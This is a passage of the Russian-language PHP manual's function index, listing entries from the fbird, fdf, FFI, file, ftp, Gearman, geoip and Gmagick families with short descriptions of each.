    • fbird_pconnect - Псевдоним ibase_pconnect
    • fbird_prepare - Псевдоним ibase_prepare
    • fbird_query - Псевдоним ibase_query
    • fbird_restore - Псевдоним ibase_restore
    • fbird_rollback - Псевдоним ibase_rollback
    • fbird_rollback_ret - Псевдоним ibase_rollback_ret
    • fbird_server_info - Псевдоним ibase_server_info
    • fbird_service_attach - Псевдоним ibase_service_attach
    • fbird_service_detach - Псевдоним ibase_service_detach
    • fbird_set_event_handler - Псевдоним ibase_set_event_handler
    • fbird_trans - Псевдоним ibase_trans
    • fbird_wait_event - Псевдоним ibase_wait_event
    • fclose - Закрывает открытый дескриптор файла
    • fdatasync - Синхронизирует данные (но не метаданные) с файлом
    • fdf_add_doc_javascript - Добавляет код javascript в документ FDF
    • fdf_add_template - Добавляет шаблон в FDF-документ
    • fdf_close - Закрывает FDF-документ
    • fdf_create - Создаёт новый документ FDF
    • fdf_enum_values - Вызывает пользовательскую функцию для каждого значения документа
    • fdf_errno - Возвращает код ошибки для последней операции FDF
    • fdf_error - Возвращает описание ошибки для кода ошибки FDF
    • fdf_get_ap - Получает вид поля
    • fdf_get_attachment - Извлекает загруженный файл, встроенный в FDF
    • fdf_get_encoding - Получает значение ключа /Encoding
    • fdf_get_file - Получает значение ключа /F
    • fdf_get_flags - Получает флаги поля
    • fdf_get_opt - Получает значение из массива opt поля
    • fdf_get_status - Получает значение ключа /STATUS
    • fdf_get_value - Получает значение поля
    • fdf_get_version - Получает номер версии для FDF API или файла
    • fdf_header - Устанавливает специфичные для FDF выходные заголовки
    • fdf_next_field_name - Получает имя следующего поля
    • fdf_open - Открывает документ FDF
    • fdf_open_string - Читает FDF документ из строки
    • fdf_remove_item - Устанавливает целевой фрейм для формы
    • fdf_save - Сохраняет документ FDF
    • fdf_save_string - Возвращает документ FDF в виде строки
    • fdf_set_ap - Устанавливает внешний вид поля
    • fdf_set_encoding - Устанавливает кодировку символов FDF
    • fdf_set_file - Устанавливает PDF-документ для отображения данных FDF
    • fdf_set_flags - Устанавливает флаг поля
    • fdf_set_javascript_action - Устанавливает действие javascript для поля
    • fdf_set_on_import_javascript - Добавляет код JavaScript, который будет выполняться, когда Acrobat открывает FDF
    • fdf_set_opt - Устанавливает параметры поля
    • fdf_set_status - Устанавливает значение ключа /STATUS
    • fdf_set_submit_form_action - Устанавливает действие формы отправки поля
    • fdf_set_target_frame - Устанавливает целевой фрейм для отображения формы
    • fdf_set_value - Устанавливает значение поля
    • fdf_set_version - Устанавливает номер версии для файла FDF
    • fdiv - Делит одно число на другое по правилам стандарта IEEE 754
    • feof - Проверяет, достигнут ли конец файла
    • FFI::addr - Создаёт неуправляемый указатель на данные C
    • FFI::alignof - Возвращает величину выравнивания
    • FFI::arrayType - Динамически конструирует новый тип С массива
    • FFI::cast - Приводит тип C
    • FFI::cdef - Создаёт новый объект FFI
    • FFI::free - Высвобождает неуправляемую структуру данных
    • FFI::isNull - Проверяет, является ли FFI\CData нулевым указателем
    • FFI::load - Загружает декларации C из заголовочного файла
    • FFI::memcmp - Сравнивает две области памяти
    • FFI::memcpy - Копирует содержимое одной области памяти в другую
    • FFI::memset - Заполнить область памяти
    • FFI::new - Создаёт структуру данных C
    • FFI::scope - Инстанциирует объект FFI в соответствии с декларацией С, разобранной на этапе предзагрузки
    • FFI::sizeof - Возвращает размер данных или типа C
    • FFI::string - Создаёт строку PHP из области памяти
    • FFI::type - Создаёт объект класса FFI\CType из объявления С
    • FFI::typeof - Получает FFI\CType для FFI\CData
    • FFI\CType::getAlignment - Описание
    • FFI\CType::getArrayElementType - Описание
    • FFI\CType::getArrayLength - Описание
    • FFI\CType::getAttributes - Описание
    • FFI\CType::getEnumKind - Описание
    • FFI\CType::getFuncABI - Описание
    • FFI\CType::getFuncParameterCount - Описание
    • FFI\CType::getFuncParameterType - Описание
    • FFI\CType::getFuncReturnType - Описание
    • FFI\CType::getKind - Описание
    • FFI\CType::getName - Описание
    • FFI\CType::getPointerType - Описание
    • FFI\CType::getSize - Описание
    • FFI\CType::getStructFieldNames - Описание
    • FFI\CType::getStructFieldOffset - Описание
    • FFI\CType::getStructFieldType - Описание
    • fflush - Сбрасывает буфер вывода в файл
    • fgetc - Считывает символ из файла
    • fgetcsv - Читает строку из файла и производит разбор данных CSV
    • fgets - Читает строку из файла
    • fgetss - Читает строку из файла и удаляет HTML-теги
    • Fiber::getCurrent - Получает текущий выполняющийся экземпляр Fiber
    • Fiber::getReturn - Получает значение, возвращаемое файбером
    • Fiber::isRunning - Определяет, работает ли файбер
    • Fiber::isStarted - Определяет, запущен ли файбер
    • Fiber::isSuspended - Определяет, приостановлен ли файбер
    • Fiber::isTerminated - Определяет, завершён ли файбер
    • Fiber::resume - Возобновляет выполнение файбера со значением
    • Fiber::start - Начинает выполнение файбера
    • Fiber::suspend - Приостанавливает выполнение текущего файбера
    • Fiber::throw - Возобновляет выполнение файбера с исключением
    • Fiber::__construct - Создаёт новый экземпляр Fiber
    • file - Читает содержимое файла и помещает его в массив
    • file:// - Доступ к локальной файловой системе
    • fileatime - Возвращает время последнего доступа к файлу
    • filectime - Возвращает время изменения индексного дескриптора файла
    • filegroup - Получает идентификатор группы файла
    • fileinode - Возвращает индексный дескриптор файла
    • filemtime - Получает время последнего изменения файла
    • fileowner - Возвращает идентификатор владельца файла
    • fileperms - Возвращает информацию о правах на файл
    • filesize - Возвращает размер файла
    • FilesystemIterator::current - Текущий файл
    • FilesystemIterator::getFlags - Получение флагов настроек объекта
    • FilesystemIterator::key - Определение ключа текущего файла
    • FilesystemIterator::next - Перемещение указателя на следующий файл
    • FilesystemIterator::rewind - Перемещение указателя на начало
    • FilesystemIterator::setFlags - Задание флагов обработки
    • FilesystemIterator::__construct - Создаёт новый итератор файловой системы
    • filetype - Возвращает тип файла
    • file_exists - Проверяет существование указанного файла или каталога
    • file_get_contents - Читает содержимое файла в строку
    • file_put_contents - Записывает данные в файл
    • FilterIterator::accept - Проверяет, является ли текущий элемент итератора допустимым
    • FilterIterator::current - Получает значение текущего элемента
    • FilterIterator::key - Получает текущий ключ
    • FilterIterator::next - Перемещает итератор к следующему элементу
    • FilterIterator::rewind - Возвращает итератор в начало
    • FilterIterator::valid - Проверяет, допустим ли текущий элемент
    • FilterIterator::__construct - Конструктор класса FilterIterator
    • filter_has_var - Проверяет существование переменной указанного типа
    • filter_id - Возвращает идентификатор, принадлежащий именованному фильтру
    • filter_input - Получает конкретную внешнюю переменную по имени и, если нужно, фильтрует значение переменной
    • filter_input_array - Получает несколько переменных извне PHP и, при необходимости, фильтрует их
    • filter_list - Возвращает список всех поддерживаемых фильтров
    • filter_var - Фильтрует переменную
    • filter_var_array - Принимает несколько переменных и, при необходимости, фильтрует их
    • finfo::buffer - Псевдоним finfo_buffer()
    • finfo::file - Псевдоним finfo_file()
    • finfo::set_flags - Псевдоним finfo_set_flags()
    • finfo::__construct - Псевдоним finfo_open
    • finfo_close - Закрывает экземпляр finfo
    • finfo_open - Создаёт экземпляр finfo
    • floatval - Возвращает значение переменной в виде числа с плавающей точкой
    • flock - Блокирует файл методом переносимой рекомендательной блокировки
    • floor - Округляет дробное число в меньшую сторону
    • flush - Сбрасывает системный буфер вывода
    • fmod - Возвращает дробный остаток от деления по модулю
    • fnmatch - Проверяет совпадение имени файла с шаблоном
    • fopen - Открывает файл или URL
    • forward_static_call - Вызов статического метода
    • forward_static_call_array - Вызов статического метода и передача параметров в виде массива
    • fpassthru - Выводит все оставшиеся данные из файлового указателя
    • fpm_get_status - Возвращает текущее состояние пула FPM
    • fprintf - Записывает отформатированную строку в поток
    • fputcsv - Форматирует строку в виде CSV и записывает её в файловый указатель
    • fputs - Псевдоним fwrite
    • fread - Бинарно-безопасное чтение файла
    • frenchtojd - Преобразовывает дату Французского республиканского календаря в количество дней в Юлианском летоисчислении
    • fscanf - Обрабатывает данные из файла в соответствии с форматом
    • fseek - Устанавливает смещение в файловом указателе
    • fsockopen - Открывает соединение с интернет-сокетом или доменным сокетом Unix
    • fstat - Получает информацию о файле по указателю открытого файла
    • fsync - Синхронизирует изменения в файле (включая метаданные)
    • ftell - Возвращает текущую позицию указателя чтения/записи файла
    • ftok - Преобразовывает путь и идентификатор проекта в ключ System V IPC
    • ftp:// - Доступ к URL-адресам по протоколу FTP(s)
    • ftp_alloc - Резервирует место на диске для закачиваемого файла
    • ftp_append - Добавляет содержимое файла в конец другого файла на FTP-сервере
    • ftp_cdup - Переходит в родительскую директорию
    • ftp_chdir - Изменяет текущую директорию на FTP-сервере
    • ftp_chmod - Устанавливает права доступа к файлу
    • ftp_close - Закрывает соединение с FTP-сервером
    • ftp_connect - Устанавливает соединение с FTP-сервером
    • ftp_delete - Удаляет файл на FTP-сервере
    • ftp_exec - Запрашивает выполнение команды на FTP-сервере
    • ftp_fget - Скачивает файл с FTP-сервера и сохраняет его в предварительно открытом файле
    • ftp_fput - Загружает предварительно открытый файл на FTP-сервер
    • ftp_get - Скачивает файл с FTP-сервера
    • ftp_get_option - Получает текущие параметры FTP-соединения
    • ftp_login - Выполняет вход на FTP-сервер
    • ftp_mdtm - Возвращает время последней модификации файла
    • ftp_mkdir - Создаёт директорию
    • ftp_mlsd - Возвращает список файлов в заданной директории
    • ftp_nb_continue - Продолжает асинхронную операцию
    • ftp_nb_fget - Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в предварительно открытом файле
    • ftp_nb_fput - Загружает предварительно открытый файл на FTP-сервер в асинхронном режиме
    • ftp_nb_get - Скачивает файл с FTP-сервера в асинхронном режиме и сохраняет его в локальный файл
    • ftp_nb_put - Загружает файл на FTP-сервер в асинхронном режиме
    • ftp_nlist - Возвращает список файлов в заданной директории
    • ftp_pasv - Включает или выключает пассивный режим
    • ftp_put - Загружает файл на FTP-сервер
    • ftp_pwd - Возвращает имя текущей директории
    • ftp_quit - Псевдоним ftp_close
    • ftp_raw - Отправляет произвольную команду FTP-серверу
    • ftp_rawlist - Возвращает подробный список файлов в заданной директории
    • ftp_rename - Переименовывает файл или директорию на FTP-сервере
    • ftp_rmdir - Удаляет директорию
    • ftp_set_option - Устанавливает параметры соединения с FTP-сервером
    • ftp_site - Отправляет серверу команду SITE
    • ftp_size - Возвращает размер указанного файла
    • ftp_ssl_connect - Устанавливает соединение с FTP-сервером через SSL
    • ftp_systype - Возвращает тип операционной системы FTP-сервера
    • ftruncate - Урезает файл до указанной длины
    • function_exists - Возвращает true, если указанная функция определена
    • func_get_arg - Возвращает элемент из списка аргументов
    • func_get_args - Возвращает массив, который содержит список аргументов функции
    • func_num_args - Возвращает количество аргументов, переданных функции
    • fwrite - Записывает данные в файл бинарно-безопасным способом
  • g
    • gc_collect_cycles - Принудительный запуск сборщика мусора
    • gc_disable - Отключает сборщик циклических ссылок
    • gc_enable - Включает сборщик циклических ссылок
    • gc_enabled - Возвращает текущее состояние сборщика циклических ссылок
    • gc_mem_caches - Освобождает память, используемую менеджером памяти Zend Engine
    • gc_status - Возвращает информацию о текущем статусе сборщика мусора
    • gd_info - Вывод информации о текущей установленной GD библиотеке
    • GearmanClient::addOptions - Добавить клиентские опции
    • GearmanClient::addServer - Добавить сервер задач для клиента
    • GearmanClient::addServers - Добавить список серверов задач для клиента
    • GearmanClient::addTask - Добавить задачу, которая будет выполнена в параллельном режиме
    • GearmanClient::addTaskBackground - Добавить фоновую задачу для работы в параллельном режиме
    • GearmanClient::addTaskHigh - Добавить высокоприоритетную задачу для работы в параллельном режиме
    • GearmanClient::addTaskHighBackground - Добавить высокоприоритетную фоновую задачу для работы в параллельном режиме
    • GearmanClient::addTaskLow - Добавить низкоприоритетную задачу для работы в параллельном режиме
    • GearmanClient::addTaskLowBackground - Добавить низкоприоритетную фоновую задачу для работы в параллельном режиме
    • GearmanClient::addTaskStatus - Добавить задачу для получения статуса
    • GearmanClient::clearCallbacks - Очистить все функции обратного вызова данной задачи
    • GearmanClient::clone - Создать копию объекта GearmanClient
    • GearmanClient::context - Возвращает контекст приложения
    • GearmanClient::data - Возвращает данные приложения (функция устарела)
    • GearmanClient::do - Выполняет одну задачу и возвращает результат [Устаревший метод]
    • GearmanClient::doBackground - Запускает выполнение задачи в фоновом режиме
    • GearmanClient::doHigh - Запускает на выполнение задачу с высоким приоритетом
    • GearmanClient::doHighBackground - Запускает на выполнение с высоким приоритетом задачу в фоновом режиме
    • GearmanClient::doJobHandle - Получить дескриптор выполняющейся задачи
    • GearmanClient::doLow - Запускает на выполнение задачу с низким приоритетом
    • GearmanClient::doLowBackground - Запускает на выполнение с низким приоритетом задачу в фоновом режиме
    • GearmanClient::doNormal - Выполняет одиночное задание и возвращает результат
    • GearmanClient::doStatus - Получение статуса выполняющейся задачи
    • GearmanClient::echo - Отправляет данные всем серверам заданий, чтобы проверить отклик [Устаревший метод]
    • GearmanClient::error - Вернуть строку ошибки для последней обнаруженной ошибки
    • GearmanClient::getErrno - Получить значение errno
    • GearmanClient::jobStatus - Получение статуса выполнения фонового задания
    • GearmanClient::ping - Отправляет данные на все серверы, чтобы проверить, какие из них выведут эти данные
    • GearmanClient::removeOptions - Удалить клиентские опции
    • GearmanClient::returnCode - Получить последний код возврата Gearman
    • GearmanClient::runTasks - Запустить список задач в параллельном режиме
    • GearmanClient::setClientCallback - Установить функцию обратного вызова, когда есть пакет данных для задачи (устаревший метод)
    • GearmanClient::setCompleteCallback - Установите функцию, которая будет вызвана по завершении задачи
    • GearmanClient::setContext - Установить контекст приложения
    • GearmanClient::setCreatedCallback - Установить функцию обратного вызова, когда задача ставится в очередь
    • GearmanClient::setData - Установить данные приложения (устаревший метод)
    • GearmanClient::setDataCallback - Задаёт callback-функцию для обработки переданных данных
    • GearmanClient::setExceptionCallback - Установка функции обратного вызова для перехвата исключений обработчика заданий
    • GearmanClient::setFailCallback - Установка callback-функции для обработки ситуации, когда задание не удалось выполнить
    • GearmanClient::setOptions - Установка настроек клиента
    • GearmanClient::setStatusCallback - Задание callback-функции, собирающей информацию о состоянии обработчика заданий
    • GearmanClient::setTimeout - Установка времени ожидания для операций ввода/вывода
    • GearmanClient::setWarningCallback - Установка callback-функции, обслуживающей предупреждения обработчика заданий
    • GearmanClient::setWorkloadCallback - Установка callback-функции, принимающей промежуточные результаты от обработчика заданий
    • GearmanClient::timeout - Получение значения времени ожидания операций ввода/вывода
    • GearmanClient::wait - Ожидает активности ввода-вывода для всех подключений на клиенте
    • GearmanClient::__construct - Создать экземпляр GearmanClient
    • GearmanJob::complete - Отправка результата и статуса завершения (устаревший метод)
    • GearmanJob::data - Отправка данных (устаревший метод)
    • GearmanJob::exception - Отправка исключения (устаревший метод)
    • GearmanJob::fail - Отправка статуса неудачной операции (устаревший метод)
    • GearmanJob::functionName - Получение имени функции
    • GearmanJob::handle - Получение дескриптора объекта задания
    • GearmanJob::returnCode - Получение последнего кода возврата
    • GearmanJob::sendComplete - Отправка результата и статуса завершения
    • GearmanJob::sendData - Отправка данных выполняющемуся заданию
    • GearmanJob::sendException - Отправка исключения выполняющемуся заданию
    • GearmanJob::sendFail - Отправка статуса неудачной операции
    • GearmanJob::sendStatus - Отправка статуса
    • GearmanJob::sendWarning - Отправка предупреждения
    • GearmanJob::setReturn - Установка возвращаемого значения
    • GearmanJob::status - Отправка статуса задания (устаревший метод)
    • GearmanJob::unique - Получение уникального идентификатора
    • GearmanJob::warning - Отправка предупреждения (устаревший метод)
    • GearmanJob::workload - Получение данных для обработки
    • GearmanJob::workloadSize - Получение размера обрабатываемых данных
    • GearmanJob::__construct - Создание объекта GearmanJob
    • GearmanTask::create - Создаёт задачу (устаревший метод)
    • GearmanTask::data - Получить данные, возвращённые для задачи
    • GearmanTask::dataSize - Получить размер возвращаемых данных
    • GearmanTask::function - Получить имя связанной функции (устаревший метод)
    • GearmanTask::functionName - Получить имя функции
    • GearmanTask::isKnown - Определение, известно ли серверу об этой задачи
    • GearmanTask::isRunning - Проверяет, выполняется ли задача в данный момент
    • GearmanTask::jobHandle - Получить дескриптор задания
    • GearmanTask::recvData - Чтение данных работы или результата задачи в буфер
    • GearmanTask::returnCode - Получить последний код возврата
    • GearmanTask::sendData - Отправка данных задачи (устаревший метод)
    • GearmanTask::sendWorkload - Отправка данных задачи
    • GearmanTask::taskDenominator - Получить знаменатель процента выполненной работы
    • GearmanTask::taskNumerator - Получение числителя процента выполненной работы
    • GearmanTask::unique - Получение уникального идентификатора задачи
    • GearmanTask::uuid - Получение уникального идентификатора задачи (устаревший метод)
    • GearmanTask::__construct - Создаёт объект GearmanTask
    • GearmanWorker::addFunction - Регистрация и добавление callback-функции
    • GearmanWorker::addOptions - Добавление настроек обработчика
    • GearmanWorker::addServer - Добавление сервера заданий
    • GearmanWorker::addServers - Добавление серверов заданий
    • GearmanWorker::clone - Создание копии обработчика
    • GearmanWorker::echo - Проверка отклика серверов заданий
    • GearmanWorker::error - Получение последней обнаруженной ошибки
    • GearmanWorker::getErrno - Получение номера ошибки
    • GearmanWorker::options - Получение настроек обработчика
    • GearmanWorker::register - Регистрация функции на сервере заданий
    • GearmanWorker::removeOptions - Удаление настроек обработчика
    • GearmanWorker::returnCode - Получение последнего кода возврата Gearman
    • GearmanWorker::setId - Назначает обработчику идентификатор, чтобы в дальнейшем иметь возможность опросить все доступные обработчики
    • GearmanWorker::setOptions - Установка настроек обработчика
    • GearmanWorker::setTimeout - Задание времени ожидания ввода/вывода на сокете
    • GearmanWorker::timeout - Получение значения время ожидания запросов на сокете
    • GearmanWorker::unregister - Удалить регистрацию имени функции на всех серверах заданий
    • GearmanWorker::unregisterAll - Удаление регистрации всех имён функций на серверах заданий
    • GearmanWorker::wait - Ожидание запроса с одного из сервера задач
    • GearmanWorker::work - Ожидание и выполнение заданий
    • GearmanWorker::__construct - Создание объекта GearmanWorker
    • Gender\Gender::connect - Соединение с внешней базой имён
    • Gender\Gender::country - Получить текстовое представление страны
    • Gender\Gender::get - Получить пол по имени
    • Gender\Gender::isNick - Проверяет, является ли name0 псевдонимом для name1
    • Gender\Gender::similarNames - Получить похожие имена
    • Gender\Gender::__construct - Конструктор объекта класса Gender
    • Generator::current - Получить текущее значение генератора
    • Generator::getReturn - Получить значение, возвращаемое генератором
    • Generator::key - Получить ключ сгенерированного элемента
    • Generator::next - Возобновить работу генератора
    • Generator::rewind - Перемотать итератор
    • Generator::send - Передать значение в генератор
    • Generator::throw - Бросить исключение в генератор
    • Generator::valid - Проверяет, закрыт ли итератор
    • Generator::__wakeup - Callback-функция сериализации
    • geoip_asnum_by_name - Получить номер автономной системы (ASN)
    • geoip_continent_code_by_name - Получить двухсимвольный код континента
    • geoip_country_code3_by_name - Получить трехсимвольный код страны
    • geoip_country_code_by_name - Получить двухсимвольный код страны
    • geoip_country_name_by_name - Получить полное название страны
    • geoip_database_info - Возвращает информацию о базе GeoIP
    • geoip_db_avail - Проверяет доступность базы GeoIP
    • geoip_db_filename - Возвращает имя файла соответствующей базы GeoIP
    • geoip_db_get_all_info - Возвращает подробную информацию обо всех типах базы GeoIP
    • geoip_domain_by_name - Получить имя домена второго уровня
    • geoip_id_by_name - Возвращает тип интернет-соединения
    • geoip_isp_by_name - Возвращает имя интернет-провайдера (ISP)
    • geoip_netspeedcell_by_name - Получить скорость соединения с сетью Интернет
    • geoip_org_by_name - Возвращает название организации, владеющей IP-адресом
    • geoip_record_by_name - Возвращает подробную информацию об адресе, найденном в базе GeoIP
    • geoip_region_by_name - Возвращает коды страны и региона
    • geoip_region_name_by_code - Возвращает название региона для выбранной страны и кода региона
    • geoip_setup_custom_directory - Установить пользовательскую директорию для базы данных GeoIP
    • geoip_time_zone_by_country_and_region - Возвращает часовой пояс для кода страны и региона
    • getallheaders - Возвращает все заголовки HTTP-запроса
    • getcwd - Получает имя текущего рабочего каталога
    • getdate - Возвращает информацию о дате/времени
    • getenv - Получает значение одной или всех переменных окружения
    • gethostbyaddr - Получает доменное имя хоста, соответствующее переданному IP-адресу
    • gethostbyname - Получает IPv4-адрес, соответствующий переданному имени хоста
    • gethostbynamel - Получает список IPv4-адресов, соответствующих переданному доменному имени хоста
    • gethostname - Получает имя хоста
    • getimagesize - Получение размера изображения
    • getimagesizefromstring - Получение размера изображения из строки данных
    • getlastmod - Получает время последней модификации страницы
    • getmxrr - Получает записи MX, соответствующие переданному доменному имени хоста
    • getmygid - Получить GID владельца скрипта PHP
    • getmyinode - Получает значение inode текущего скрипта
    • getmypid - Получает ID процесса PHP
    • getmyuid - Получение UID владельца скрипта PHP
    • getopt - Получает параметры из списка аргументов командной строки
    • getprotobyname - Получает номер протокола по имени
    • getprotobynumber - Получает имя протокола по номеру
    • getrandmax - Возвращает максимально возможное случайное число
    • getrusage - Получает информацию об использовании текущего ресурса
    • getservbyname - Получает номер порта, связанного с интернет-службой и протоколом
    • getservbyport - Получает интернет-службу, соответствующую заданному порту и протоколу
    • getSession - Подключается к серверу MySQL
    • gettext - Ищет сообщение в текущем домене
    • gettimeofday - Возвращает текущее время
    • gettype - Возвращает тип переменной
    • get_browser - Сообщает о возможностях браузера пользователя
    • get_called_class - Получает имя класса через позднее статическое связывание
    • get_cfg_var - Извлекает значение настройки конфигурации PHP
    • get_class - Возвращает имя класса, которому принадлежит объект
    • get_class_methods - Возвращает массив имён методов класса
    • get_class_vars - Получает свойства класса, которые объявили по умолчанию
    • get_current_user - Получает имя владельца текущего скрипта PHP
    • get_debug_type - Возвращает имя типа переменной в виде, подходящем для отладки
    • get_declared_classes - Возвращает массив с именами объявленных классов
    • get_declared_interfaces - Возвращает массив объявленных интерфейсов
    • get_declared_traits - Возвращает массив объявленных трейтов
    • get_defined_constants - Возвращает ассоциативный массив с именами всех констант и их значений
    • get_defined_functions - Возвращает массив определённых функций
    • get_defined_vars - Возвращает массив всех определённых переменных
    • get_extension_funcs - Возвращает массив имён функций модуля
    • get_headers - Возвращает все заголовки из ответа сервера на HTTP-запрос
    • get_html_translation_table - Возвращает таблицу преобразований, используемую функциями htmlspecialchars и htmlentities
    • get_included_files - Возвращает массив имён включённых в скрипт файлов
    • get_include_path - Получение текущего значения настройки конфигурации include_path
    • get_loaded_extensions - Возвращает массив имён скомпилированных и загруженных модулей
    • get_magic_quotes_gpc - Получает текущее значение настройки конфигурации magic_quotes_gpc
    • get_magic_quotes_runtime - Получение текущего значения настройки конфигурации magic_quotes_runtime
    • get_mangled_object_vars - Возвращает массив искажённых свойств объекта
    • get_meta_tags - Извлекает содержимое всех метатегов из файла и возвращает массив
    • get_object_vars - Возвращает свойства указанного объекта
    • get_parent_class - Получает имя родительского класса для объекта или класса
    • get_required_files - Псевдоним get_included_files
    • get_resources - Возвращает активные ресурсы
    • get_resource_id - Возвращает целочисленный идентификатор для данного ресурса
    • get_resource_type - Возвращает тип ресурса
    • glob - Находит файловые пути, совпадающие с шаблоном
    • glob:// - Нахождение путей, соответствующих шаблону
    • GlobIterator::count - Определяет количество директорий и файлов
    • GlobIterator::__construct - Создаёт итератор директории, используя glob-выражение
    • Gmagick::addimage - Добавление нового изображения в список изображений объекта Gmagick
    • Gmagick::addnoiseimage - Добавляет случайный шум к изображению
    • Gmagick::annotateimage - Подписать изображение текстом
    • Gmagick::blurimage - Добавить размытие изображению
    • Gmagick::borderimage - Добавить рамку к изображению
    • Gmagick::charcoalimage - Имитация рисования углём
    • Gmagick::chopimage - Удаляет область изображения и подрезает его
    • Gmagick::clear - Зачищает все ресурсы, связанные с объектом Gmagick
    • Gmagick::commentimage - Добавить комментарий к изображению
    • Gmagick::compositeimage - Накладывает одно изображение на другое
    • Gmagick::cropimage - Обрезает изображение
    • Gmagick::cropthumbnailimage - Создание обрезанного уменьшенного изображения
    • Gmagick::current - Вернуть самого себя
    • Gmagick::cyclecolormapimage - Смещает цветовую карту изображения
    • Gmagick::deconstructimages - Возвращает определённые пиксельные различия между изображениями
    • Gmagick::despeckleimage - Назначение despeckleimage
    • Gmagick::destroy - Уничтожить объект Gmagick
    • Gmagick::drawimage - Отображает объект GmagickDraw на текущем изображении
    • Gmagick::edgeimage - Увеличивает края в изображении
    • Gmagick::embossimage - Возвращает изображение в градациях серого с трёхмерным эффектом
    • Gmagick::enhanceimage - Улучшает качество изображения с шумом
    • Gmagick::equalizeimage - Выравнивает гистограмму изображения
    • Gmagick::flipimage - Создаёт вертикальное зеркальное отображение
    • Gmagick::flopimage - Создаёт горизонтальное зеркальное отображение
    • Gmagick::frameimage - Добавляет смоделированную трёхмерную границу
    • Gmagick::gammaimage - Гамма-коррекция изображения
    • Gmagick::getcopyright - Возвращает копирайт GraphicsMagick API в виде строки
    • Gmagick::getfilename - Возвращает имя файла связанного с последовательностью изображений
    • Gmagick::getimagebackgroundcolor - Возвращает цвет фона изображения
    • Gmagick::getimageblueprimary - Возвращает цветность синей первичной точки
    • Gmagick::getimagebordercolor - Возвращает цвет границы изображения
    • Gmagick::getimagechanneldepth - Получает глубину для определённого канала изображения
    • Gmagick::getimagecolors - Возвращает цвет указанного индекса карты цветов
    • Gmagick::getimagecolorspace - Возвращает цветовое пространство изображения
    • Gmagick::getimagecompose - Возвращает составной оператор, связанный с изображением
    • Gmagick::getimagedelay - Получает задержку изображения
    • Gmagick::getimagedepth - Получает глубину изображения
    • Gmagick::getimagedispose - Получает метод удаления изображения
    • Gmagick::getimageextrema - Получает экстремумы для изображения
    • Gmagick::getimagefilename - Возвращает имя файла конкретного изображения в последовательности
    • Gmagick::getimageformat - Возвращает формат конкретного изображения в последовательности
    • Gmagick::getimagegamma - Возвращает гамму изображения
    • Gmagick::getimagegreenprimary - Возвращает первичную зелёную точку
    • Gmagick::getimageheight - Возвращает высоту изображения
    • Gmagick::getimagehistogram - Возвращает гистограмму изображения
    • Gmagick::getimageindex - Возвращает индекс текущего активного изображения
    • Gmagick::getimageinterlacescheme - Получает схему чередования изображений
    • Gmagick::getimageiterations - Получает итерации изображения
    • Gmagick::getimagematte - Проверяет, есть ли на изображении матовый канал
    • Gmagick::getimagemattecolor - Возвращает изображение матового цвета
    • Gmagick::getimageprofile - Возвращает именованный профайл изображения
    • Gmagick::getimageredprimary - Возвращает первичную красную точку
    • Gmagick::getimagerenderingintent - Получает цель рендеринга изображения
    • Gmagick::getimageresolution - Возвращает разрешение изображения
    • Gmagick::getimagescene - Получает сцену изображения
    • Gmagick::getimagesignature - Создаёт подпись сообщения SHA-256
    • Gmagick::getimagetype - Возвращает потенциальный тип изображения
    • Gmagick::getimageunits - Возвращает единицы разрешения изображения
    • Gmagick::getimagewhitepoint - Возвращает хроматическую белую точку
    • Gmagick::getimagewidth - Возвращает ширину изображения
    • Gmagick::getpackagename - Возвращает имя пакета GraphicsMagick
    • Gmagick::getquantumdepth - Возвращает глубину цвета (бит на канал) объекта Gmagick в виде строки
    • Gmagick::getreleasedate - Возвращает дату релиза GraphicsMagick в виде строки
    • Gmagick::getsamplingfactors - Возвращает вертикальный и горизонтальный фактор дискретизации
    • Gmagick::getsize - Возвращает размер, связанный с объектом Gmagick
    • Gmagick::getversion - Возвращает версию GraphicsMagick API
    • Gmagick::hasnextimage - Проверяет, есть ли ещё изображения в объекте
    • Gmagick::haspreviousimage - Проверяет, есть ли ещё изображения в объекте при итерации назад
    • Gmagick::implodeimage - Создаёт копию изображения
    • Gmagick::labelimage - Добавляет метку к изображению
    • Gmagick::levelimage - Регулирует уровни изображения
    • Gmagick::magnifyimage - Пропорционально масштабирует изображение в 2 раза
    • Gmagick::mapimage - Заменяет цвета изображения на ближайший цвет из эталонного изображения
    • Gmagick::medianfilterimage - Применяет цифровой фильтр
    • Gmagick::minifyimage - Масштабирует изображение пропорционально половине его размера
    • Gmagick::modulateimage - Управляет яркостью, насыщенностью и оттенком
    • Gmagick::motionblurimage - Имитирует размытие при движении
    • Gmagick::newimage - Создаёт новое изображение
    • Gmagick::nextimage - Осуществляет переход к следующему изображению
    • Gmagick::normalizeimage - Повышает контрастность цветного изображения
    • Gmagick::oilpaintimage - Имитирует эффект картины маслом
    • Gmagick::previousimage - Осуществляет переход к предыдущему изображению в объекте
    • Gmagick::profileimage - Добавляет или удаляет профиль из изображения
    • Gmagick::quantizeimage - Анализирует цвета эталонного изображения
    • Gmagick::quantizeimages - Анализирует цвета в последовательности изображений
    • Gmagick::queryfontmetrics - Возвращает массив, представляющий метрики шрифта
    • Gmagick::queryfonts - Возвращает настроенные шрифты
    • Gmagick::queryformats - Возвращает форматы, поддерживаемые Gmagick
    • Gmagick::radialblurimage - Применяет радиальное размытие к изображению
    • Gmagick::raiseimage - Создаёт имитацию эффекта трёхмерной кнопки
    • Gmagick::read - Читает изображение из файла
    • Gmagick::readimage - Читает изображение из файла
    • Gmagick::readimageblob - Читает изображение из бинарной строки
    • Gmagick::readimagefile - Читает изображение или последовательность изображений из файлового дескриптора
    • Gmagick::reducenoiseimage - Сглаживает контуры изображения
    • Gmagick::removeimage - Удаляет изображение из списка
    • Gmagick::removeimageprofile - Удаляет именованный профайл изображения и возвращает его
    • Gmagick::resampleimage - Изменяет разрешение изображения до желаемого
    • Gmagick::resizeimage - Масштабирует изображение
    • Gmagick::rollimage - Смещает изображение
    • Gmagick::rotateimage - Поворачивает изображение
    • Gmagick::scaleimage - Масштабирует размер изображения
    • Gmagick::separateimagechannel - Отделяет канал от изображения
    • Gmagick::setCompressionQuality - Устанавливает качество сжатия объекта по умолчанию
    • Gmagick::setfilename - Устанавливает имя файла перед чтением или записью изображения
    • Gmagick::setimagebackgroundcolor - Устанавливает цвет фона изображения
    • Gmagick::setimageblueprimary - Устанавливает цветность изображения голубой основной точкой
    • Gmagick::setimagebordercolor - Устанавливает цвет рамки изображения
    • Gmagick::setimagechanneldepth - Устанавливает глубину определённого канала изображения
    • Gmagick::setimagecolorspace - Устанавливает цветовое пространство изображения
    • Gmagick::setimagecompose - Устанавливает оператор составного изображения
